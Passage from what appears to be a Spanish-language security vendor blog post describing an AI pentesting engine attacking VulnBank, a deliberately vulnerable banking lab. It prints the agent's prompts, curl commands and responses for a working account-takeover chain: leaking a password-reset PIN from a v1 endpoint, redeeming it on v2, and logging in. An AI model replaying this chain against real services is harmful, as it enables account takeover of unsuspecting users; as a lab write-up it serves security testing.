El motor de IA logra una toma de control de cuentas mediante confusión de versiones de API
El análisis metódico supera al fuzzing a ciegas: el motor de IA de Ostorlab descubre una debilidad de restablecimiento de contraseña entre versiones y logra tomar el control de una cuenta sin acceso al correo electrónico.
Durante una demostración en vivo de nuestro motor de pentesting con IA, alguien lanzó una de esas preguntas del tipo «sí, pero ¿puede hacer esto?»:
«¿Podría realmente encontrar un error de confusión de versiones de API que lleve a la toma de control de una cuenta?»
No teníamos una historia preparada, así que apuntamos el motor al objetivo con la vulnerabilidad, en este caso VulnBank, una aplicación bancaria deliberadamente vulnerable creada por Al-Amir Badmus, y lo dejamos trabajar. El resultado fue exactamente el tipo de problema que uno espera que exista solo en laboratorios de entrenamiento y no en aplicaciones en producción: un fallo de confusión de versiones en el restablecimiento de contraseña que permite tomar el control de cuentas con solo un nombre de usuario.
Veamos qué ocurrió.
La configuración: v1 es mala, v2 es buena… ¿verdad?
VulnBank expone los flujos de restablecimiento de contraseña en dos versiones de la API:
POST /api/v1/forgot-passwordPOST /api/v2/forgot-passwordPOST /api/v1/reset-passwordPOST /api/v2/reset-password
La especificación OpenAPI incluso indica lo que está pasando:
- v1: «exposición total de datos»,
debug_infoincluye el PIN de restablecimiento de 3 dígitos. - v2: «exposición reducida de datos», el PIN no se expone y
debug_infono está presente.
Así que, sobre el papel:
- v1 = «heredada, con fugas, no la use en producción».
- v2 = «corregida, nueva y mucho más segura».
Salvo que ambas versiones comparten el mismo estado de backend: el mismo almacén de PIN, los mismos usuarios, todo igual. Y ahí es donde empieza lo interesante.
Cómo lo abordó la IA (y por qué importa)
La mayoría de los escáneres verían «PIN de 3 dígitos», alertarían sobre una entropía débil durante 2 segundos y pasarían a los 500 endpoints siguientes.
El motor de IA hizo algo más… humano:
1. Analizó la especificación OpenAPI
Obtuvo openapi.json, buscó todo lo relacionado con el restablecimiento de contraseña y encontró /api/v{version}/forgot-password y /api/v{version}/reset-password.
2. Detectó diferencias de comportamiento entre versiones
La especificación documenta literalmente:
- v1:
debug_infoincluye el PIN. - v2: el PIN no se expone,
debug_infodesaparece.
Es una señal de alarma importante: la misma funcionalidad, características de seguridad distintas, el mismo backend.
3. Formuló una hipótesis
«Si ambas versiones comparten el estado del backend y una de ellas filtra el PIN, ¿puedo iniciar el proceso en v1 y canjearlo en v2?»
4. Puso a prueba la hipótesis de forma sistemática
Sin tormenta de fuzzing, sin «machaquemos hasta que algo se rompa». Un pequeño número de solicitudes elegidas con cuidado, cada una con un objetivo claro.
La diferencia clave está en comprender la arquitectura y no solo los endpoints; ahí es precisamente donde el fuzzing tradicional y un motor basado en razonamiento toman caminos distintos.
Cómo lo hizo realmente el motor: la prueba
Veamos la ejecución real de las herramientas de IA, los comandos y las respuestas reales que demostraron esta vulnerabilidad.
Resultado de Risk Intelligence
El paso de inteligencia de riesgos del motor señaló el siguiente riesgo:
Confusión de versiones en el restablecimiento de contraseña entre POST
/api/v1/reset-passwordy POST/api/v2/reset-password: ejercite ambas versiones para comprobar si la validación o la experiencia de usuario más débiles de v1 pueden aprovecharse para inducir a los usuarios a restablecimientos inseguros mientras v2 es más sólida. Compare los límites de frecuencia, la vigencia y el formato de los tokens, los mensajes de error y si son posibles flujos de versiones mixtas (iniciar en v1 y canjear en v2, o viceversa). Asegúrese de que los endpoints antiguos se retiren o de que se aplique paridad y una comunicación clara al usuario.
A continuación se muestra cómo el motor validó este riesgo de forma sistemática.
Prompt del sistema: reconocimiento inicial
Obtenga y analice la especificación OpenAPI para enumerar los endpoints de restablecimiento de contraseña.
Acción: envíe exactamente una solicitud GET a https://vulnbank.org/static/openapi.json con un User-Agent similar al de un navegador sobre HTTP/1.1 keep-alive. No siga redirecciones ni realice ninguna solicitud adicional en esta tarea. Mantenga la frecuencia por debajo de 5 rps.
Evidencia que se debe capturar: guarde la solicitud y la respuesta HTTP completas en bruto (estado, cabeceras y cuerpo) de esta única petición.
Objetivos del análisis (solo a partir del JSON, sin más llamadas de red): enumere todas las rutas relacionadas con el restablecimiento de contraseña, incluidas la iniciación y el canje o confirmación. En concreto, busque: /api/v1/reset-password y /api/v2/reset-password (métodos, esquema del cuerpo de la solicitud, campos obligatorios como email/captcha/tokens MFA); cualquier endpoint de confirmación o canje (p. ej., /api/v1/reset-password/confirm, /api/v2/reset-password/confirm); cualquier ruta alternativa o análoga. Para cada endpoint descubierto, registre: método(s) HTTP, esquema del cuerpo de la solicitud (nombres de campo, tipos, indicadores de obligatoriedad) y ejemplos de carga útil si existen, códigos de respuesta y mensajes de ejemplo o de error, requisitos de seguridad documentados y cualquier diferencia específica de versión entre v1 y v2.
Herramienta utilizada: curl
Argumentos:
curl_args: -sS -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" --http1.1 -D - -o - -v https://vulnbank.org/static/openapi.json
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:21:20 GMT
Content-Type: application/json
Content-Length: 44061
Connection: keep-alive
Content-Disposition: inline; filename=openapi.json
Last-Modified: Mon, 13 Oct 2025 18:26:24 GMT
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xGVbpMhRS34xZfjqdwOxLDgRUnOpqgDl7wUbKBP2gRog2Kaj0VPc9IvnPUqyGqCWx5jYshRIuONIdltkxgmILrGXGq0DukPtK3WMDg%3D%3D"}]}
CF-RAY: 99acca323ca1d3b1-FRA
alt-svc: h3=":443"; ma=86400
{
"openapi": "3.0.0",
"info": {
"title": "Vulnerable Bank API",
"description": "API documentation for the deliberately vulnerable banking application",
"version": "1.0.0",
"contact": {
"name": "Vulnerable Bank Support",
"url": "https://github.com/Commando-X/vuln-bank"
}
},
"servers": [
{
"url": "https://vulnbank.org",
"description": "Controlled Production Server"
}
],
"tags": [
{
"name": "authentication",
"description": "Authentication related endpoints"
},
{
"name": "transactions",
"description": "Transaction management endpoints"
},
{
"name": "users",
"description": "User management endpoints"
},
{
"name": "admin",
"description": "Administrative endpoints"
},
{
"name": "virtual-cards",
"description": "Virtual card management endpoints"
},
{
"name": "bill-payments",
"description": "Bill payment operations"
},
{
"name": "ai-agent",
"description": "AI Customer Support Agent (Intentionally Vulnerable)"
},
{
"name": "internal",
"description": "Internal-only endpoints for SSRF demonstration"
}
],
...
}
Resultados del análisis del JSON de OpenAPI:
Servidores y URL base: https://vulnbank.org (descripción: Controlled Production Server). Todos los endpoints enumerados están dentro del host raíz incluido en el alcance.
Endpoints relacionados con el restablecimiento de contraseña (versionados con el parámetro de ruta {version} ∈ {1,2}):
Iniciación: /api/v{version}/forgot-password (POST)
Resumen: solicitud de restablecimiento de contraseña (versionada)
Descripción: genera un PIN de restablecimiento de 3 dígitos. La especificación señala diferencias entre versiones en la exposición de datos (v1 más sensible, v2 menos; v2 no expone el PIN en la respuesta).
Parámetros de ruta: version (in: path, required, integer, enum [1,2], default 2)
Cuerpo de la solicitud (application/json, obligatorio): esquema: objeto; propiedades: username: string; no hay un array required[] explícito para los campos dentro del objeto (solo requestBody.required = true a nivel global)
Respuestas: 200: PIN de restablecimiento generado; esquema: objeto con las propiedades: status (string), message (string), debug_info (objeto); Nota: descripción de debug_info: "v1: Contains extensive sensitive information including PIN. v2: Less sensitive information, PIN not exposed." 404: usuario no encontrado (indica una posible enumeración de usuarios mediante el código de estado o los mensajes)
Seguridad: no se especifica ningún esquema de seguridad (endpoint público según la especificación)
Canje o confirmación: /api/v{version}/reset-password (POST)
Resumen: restablecer la contraseña mediante el PIN (versionado)
Descripción: restablece la contraseña con el PIN de 3 dígitos. Diferencias entre versiones en la exposición de datos (v1 incluye información de depuración sensible, entre ella el PIN utilizado; v2 no).
Parámetros de ruta: version (in: path, required, integer, enum [1,2], default 2)
Cuerpo de la solicitud (application/json, obligatorio): esquema: objeto; propiedades: username: string, reset_pin: string (pattern: ^\d{3}$), new_password: string; no hay un array required[] explícito dentro del objeto (solo requestBody.required = true a nivel global)
Respuestas: 200: restablecimiento de contraseña correcto; esquema: objeto: status (string), message (string), debug_info (objeto); Nota: descripción de debug_info: "v1: Contains extensive debug information including used PIN. v2: Not present." 400: PIN de restablecimiento no válido
Seguridad: no se especifica ningún esquema de seguridad (endpoint público según la especificación)
Rutas versionadas concretas implícitas en el marcador {version}: POST /api/v1/forgot-password, POST /api/v2/forgot-password, POST /api/v1/reset-password, POST /api/v2/reset-password
Diferencias específicas de versión documentadas (según el texto de la especificación): v1 (más antigua) expone debug_info sensible, que puede incluir el PIN de restablecimiento y otros detalles. v2 (más reciente) reduce la exposición de datos; el PIN no se expone en las respuestas y debug_info no está presente tras un restablecimiento correcto.
Hallazgo crítico: la especificación OpenAPI documenta explícitamente que v1 expone debug_info.pin en las respuestas mientras que v2 no lo hace, lo que anuncia de hecho la ruta de degradación de seguridad.
Fase 1: espere, ¿acaba de poner el PIN en la respuesta?
Primero, el motor comprobó lo que sugería la especificación: ¿v1 filtra realmente el PIN?
Prompt del sistema: prueba de divulgación de información en v1
Inicie el restablecimiento de contraseña en v1 para la cuenta A y capture la evidencia completa.
Acción: envíe exactamente un POST a https://vulnbank.org/api/v1/forgot-password con las cabeceras {Content-Type: application/json} y el cuerpo {"username":"testA_vconf_01"}. Mantenga la frecuencia por debajo de 5 rps y no reintente.
Evidencia que se debe registrar: solicitud y respuesta HTTP en bruto (estado, todas las cabeceras, incluidas las de límite de frecuencia, CORS o depuración), cuerpo JSON completo.
Resultado esperado: determinar si v1 filtra el PIN de restablecimiento de 3 dígitos mediante debug_info en la respuesta (registre el PIN textualmente si está presente).
Herramienta utilizada: curl
Argumentos:
curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-X POST "https://vulnbank.org/api/v1/forgot-password" \
-H "Content-Type: application/json" \
--data '{"username":"testA_vconf_01"}' \
-D - -o -
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:31:12 GMT
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *
{
"debug_info": {
"pin": "388",
"pin_length": 3,
"timestamp": "2025-11-07 12:22:57.378546",
"username": "testA_vconf_01"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
Hallazgo crítico: la respuesta expone directamente el PIN de restablecimiento en debug_info.pin. Con solo un nombre de usuario, un atacante puede obtener el PIN sin tocar el correo electrónico de la víctima.
La política CORS comodín agrava el problema: cualquier sitio web puede desencadenar esta solicitud y leer la respuesta. Incluso sin la fuga, el espacio de PIN de 3 dígitos (000-999) es trivialmente vulnerable a ataques de fuerza bruta. La respuesta también confirma los nombres de usuario válidos, lo que permite ataques de enumeración.
Por tanto:
- El PIN de restablecimiento de 3 dígitos está ahí mismo, en
debug_info.pin. - Solo necesitamos el nombre de usuario.
- La API tiene CORS totalmente abierto (
Access-Control-Allow-Origin: *), de modo que cualquier sitio malicioso puede desencadenar esta solicitud desde el navegador de la víctima y leer el PIN de vuelta en JavaScript.
Sin acceso al buzón, sin enlace de phishing, sin más interacción del usuario que haber iniciado sesión y visitar una página maliciosa. Esto por sí solo ya es una vía seria de toma de control de cuentas.
Fase 2: canjear el PIN de v1 para tomar el control de la cuenta
Prompt del sistema: confirmar la explotabilidad
Canjee el PIN de restablecimiento de v1 de la cuenta A para verificar la explotabilidad de la fuga de PIN en v1.
Acción: envíe exactamente un POST a https://vulnbank.org/api/v1/reset-password con el cuerpo: {"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}. Un único intento.
Resultado esperado: confirmar que el PIN filtrado de v1 puede restablecer la contraseña de la cuenta A, demostrando una ATO práctica.
Herramienta utilizada: curl
Argumentos:
curl -sS -i --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v1/reset-password" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}'
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:33:27 GMT
Content-Type: application/json
Content-Length: 243
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q%2BcQ5yGSX6r8390cSNwy9wykYa2YMUpMBvBph5sOKgLcMUjnVsMc2nVsujuibpoQ16DME9mFqO%2FIkNXrjGIWpEMPxMbhGeRNrdCFZg%3D%3D"}]}
CF-RAY: 99acdbf43a805d49-FRA
alt-svc: h3=":443"; ma=86400
{
"debug_info": {
"reset_pin_used": "388",
"reset_success": true,
"timestamp": "2025-11-07 12:25:12.976952",
"username": "testA_vconf_01"
},
"message": "Password has been reset successfully",
"status": "success"
}
El restablecimiento de la contraseña tiene éxito. v1 acepta el PIN filtrado y cambia la contraseña sin ninguna verificación por correo electrónico. La respuesta confirma la operación con reset_success: true e incluso devuelve el PIN en debug_info.reset_pin_used.
En este punto, hemos demostrado que solo v1 ya es explotable. Nombre de usuario más PIN filtrado equivale a toma de control de la cuenta. Pero la pregunta interesante es si v2 sufre el mismo fallo.
Fase 3: probar la aceptación entre versiones (el descubrimiento crítico)
Prompt del sistema: probar la confusión de versiones
Compruebe si el endpoint de canje de v2 acepta PIN emitidos por v1, lo que indicaría un estado de backend compartido sin control de los límites entre versiones.
Secuencia de pruebas: 1. Iniciar el restablecimiento de contraseña en v1 para testB_vconf_01 (obtener el PIN filtrado) 2. Intentar canjear el PIN emitido por v1 mediante el endpoint de canje de v2
Hipótesis: si tiene éxito, los atacantes pueden explotar la fuga de v1 mientras usan la interfaz de v2, eludiendo cualquier refuerzo del lado del cliente.
Paso 1: iniciar el restablecimiento en v1 para la cuenta B
Herramienta utilizada: curl
Argumentos:
curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v1/forgot-password" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testB_vconf_01"}' \
-D - -o -
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:40:12 GMT
Content-Type: application/json
Content-Length: 228
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=G7Kqftl8cVngY46mK76PSPR8TjpqT%2Fdjc5KTJ%2BaaDXEBmeb%2BEBenfdKUF4LZAojIiaIYWKXhIDEFvlNoZZmSysyWGYbPIqAMpczTFg%3D%3D"}]}
CF-RAY: 99ace5d8da6ebb1b-CDG
alt-svc: h3=":443"; ma=86400
{
"debug_info": {
"pin": "223",
"pin_length": 3,
"timestamp": "2025-11-07 12:31:58.190715",
"username": "testB_vconf_01"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
PIN de v1 extraído: 223
Paso 2: canjear el PIN de v1 mediante el endpoint de v2 (ataque entre versiones)
Herramienta utilizada: curl
Argumentos:
curl -sS --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-X POST "https://vulnbank.org/api/v2/reset-password" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Connection: keep-alive" \
--data '{"username":"testB_vconf_01","reset_pin":"223","new_password":"Tmp!Pass#B1"}' \
-D - -o -
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:41:22 GMT
Content-Type: application/json
Content-Length: 80
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tPZNfCsblxfbMaoEi50%2FYgP3Dyl3NXIbm%2FbExP7sBEAqmaahb0wZhEUNXtqSGlS1dimQC06PrhN%2BgHA%2BKD2x966EbFFP1Y1DMarIuw%3D%3D"}]}
CF-RAY: 99ace78c3af0924d-FRA
alt-svc: h3=":443"; ma=86400
{
"message": "Password has been reset successfully",
"status": "success"
}
v2 acepta el PIN. A pesar de haberse diseñado para corregir la fuga de datos de v1, el endpoint de restablecimiento de v2 sigue procesando PIN emitidos por v1. La cadena de ataque queda así completa: solicitar un restablecimiento mediante v1 para filtrar el PIN y canjearlo mediante v2 para eludir cualquier protección del lado del cliente.
Este es el núcleo de las vulnerabilidades de confusión de versiones. Ambas versiones de la API comparten el mismo almacenamiento de PIN, pero aplican controles de seguridad distintos. Los atacantes pueden combinarlas con facilidad: usar v1 donde es débil y v2 donde es sólida. El versionado crea una ilusión de límites de seguridad que no existe en la implementación.
Fase 4: verificación, prueba completa de la toma de control de la cuenta
Prompt del sistema: verificar la toma de control de la cuenta
Verifique que el canje en versiones mixtas para la cuenta B surtió efecto iniciando sesión con la nueva contraseña establecida mediante v2.
Acción: envíe exactamente un POST a https://vulnbank.org/login con las cabeceras: Content-Type: application/json; un User-Agent similar al de un navegador; Connection: keep-alive. Cuerpo JSON: {"username":"testB_vconf_01","password":"Tmp!Pass#B1"}. Mantenga la frecuencia por debajo de 5 rps; un único intento.
Evidencia que se debe capturar textualmente: solicitud HTTP completa en bruto y respuesta HTTP completa en bruto (estado, todas las cabeceras, incluidas cualquier Set-Cookie y Access-Control-Allow-*, y el cuerpo JSON completo).
Resultado esperado: un inicio de sesión confirmado (200 con un token válido) demuestra que la aceptación por v2 de un PIN de v1 dio lugar a un cambio real de contraseña. Si tiene éxito, extraiga el token, identifique si es un JWT y decodifique la cabecera y la carga localmente para confirmar que las claims coinciden con la cuenta B.
Herramienta utilizada: curl
Argumentos:
curl -sS --http1.1 -i -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-H "Content-Type: application/json" \
-H "Connection: keep-alive" \
-X POST "https://vulnbank.org/login" \
--data '{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}'
Salida:
HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:43:06 GMT
Content-Type: application/json
Content-Length: 501
Connection: keep-alive
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VbrIMCsVFv4mkFtw%2FZPjNJMVtH8dELhrPGiY3jiVR6fT7G63HAaGXj%2B3P5z8zGS9gNRqqnzvka7L5cQ%2FSATUkkY87SWWVqM0KJntZA%3D%3D"}]}
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0; HttpOnly; Path=/
CF-RAY: 99acea17dacb6f99-CDG
alt-svc: h3=":443"; ma=86400
{
"accountNumber": "6235161082",
"debug_info": {
"account_number": "6235161082",
"is_admin": false,
"login_time": "2025-11-07 12:34:52.147690",
"user_id": 46,
"username": "testB_vconf_01"
},
"isAdmin": false,
"message": "Login successful",
"status": "success",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0"
}
Análisis del token: el formato del token es JWT (tres segmentos base64url). Cabecera decodificada: {"typ":"JWT","alg":"HS256"}. Carga decodificada: {"user_id":46,"username":"testB_vconf_01","is_admin":false,"iat":1762518892}. Las claims coinciden: cuenta B (user_id 46, username testB_vconf_01).
El inicio de sesión tiene éxito. La contraseña se cambió correctamente mediante el ataque entre versiones y el JWT confirma que ahora controlamos la cuenta.
El ataque completo solo requiere un nombre de usuario. Sin acceso al correo, sin interacción del usuario, sin fuerza bruta. Solicitar el restablecimiento en v1, extraer el PIN de la respuesta, canjearlo en v2, autenticarse. Cuatro solicitudes HTTP, menos de 30 minutos de pruebas.
Coste neto del ataque:
- Datos necesarios: solo el nombre de usuario.
- Interacción del usuario: ninguna.
- Solicitudes:
- v1 forgot‑password → filtra el PIN
- v2 reset‑password → establece la contraseña
- login → verifica la toma de control
- Tiempo: encontrado en menos de 30 minutos de pruebas dirigidas.
Por qué ocurre: límites de confianza según la convención de nombres
El problema de fondo no es solo «filtraste un PIN» (aunque eso ya es grave). Es el modelo mental que los equipos tienen sobre el versionado de las API:
- v1: «cosas antiguas, quizá un poco dudosas».
- v2: «corregida y segura».
Pero en realidad:
- Ambas versiones hablan con el mismo almacén de PIN.
- Ambas versiones gestionan las mismas cuentas de usuario.
- Solo una versión recibió la corrección de seguridad.
Así que se ha creado algo que parece un límite de seguridad («use v2, es más segura») sin cambiar en realidad el límite de confianza por debajo.
Este es el patrón más general:
- Varias versiones de un flujo sensible para la seguridad (restablecimiento de contraseña, MFA, tokens, sesiones).
- Una versión se refuerza; la antigua permanece, a veces «por compatibilidad».
- Ambas comparten el estado del backend.
- Los atacantes combinan: usan las partes débiles de v1 y las partes cómodas de v2.
La especificación OpenAPI de este caso incluso anuncia la ruta de degradación:
- «v1: debug_info incluye el PIN»
- «v2: sin exposición del PIN»
Si publica esto y no separa estrictamente el comportamiento en el backend, en la práctica está entregando su propio manual de ataque.
Por qué el fuzzing por sí solo suele pasarlo por alto
Los escáneres tradicionales tienden a:
- Bombardear los endpoints con payloads.
- Señalar problemas evidentes (entropía débil, falta de autenticación, etc.).
- Tratar cada endpoint prácticamente de forma aislada.
Este error no tenía que ver con:
- Un problema extraño de un analizador sintáctico en un caso límite,
- Un gadget extravagante de HTTP smuggling,
- Ni con algo que solo se reproduce con 6 proxies y el sacrificio de una cabra.
Tenía que ver con las relaciones:
- El mismo usuario.
- El mismo PIN.
- Dos versiones del mismo flujo con garantías distintas.
El motor de IA lo encontró así:
- Leyó la especificación OpenAPI como lo haría una persona.
- Detectó que v1 y v2 se comportan de forma distinta en materia de seguridad.
- Preguntó «¿comparten estado?» y después demostró que sí.
Si su estrategia de pruebas no razona sobre los flujos entre versiones, estos errores seguirán ahí, a plena vista.
La metalección: el razonamiento dirigido supera al azar a ciegas
Todo este error surgió de un proceso de pensamiento sencillo:
- La especificación dice que hay 2 versiones.
- La especificación dice que se comportan de forma distinta en materia de seguridad.
- Los tokens parecen compartidos.
- Probar a mezclarlos.
Sin listas de palabras gigantescas. Sin horas de fuzzing. Solo comprensión y un puñado de solicitudes HTTP bien elegidas.
Si crea o prueba API a cualquier escala, querrá ese tipo de pensamiento, humano o de máquina, de su lado.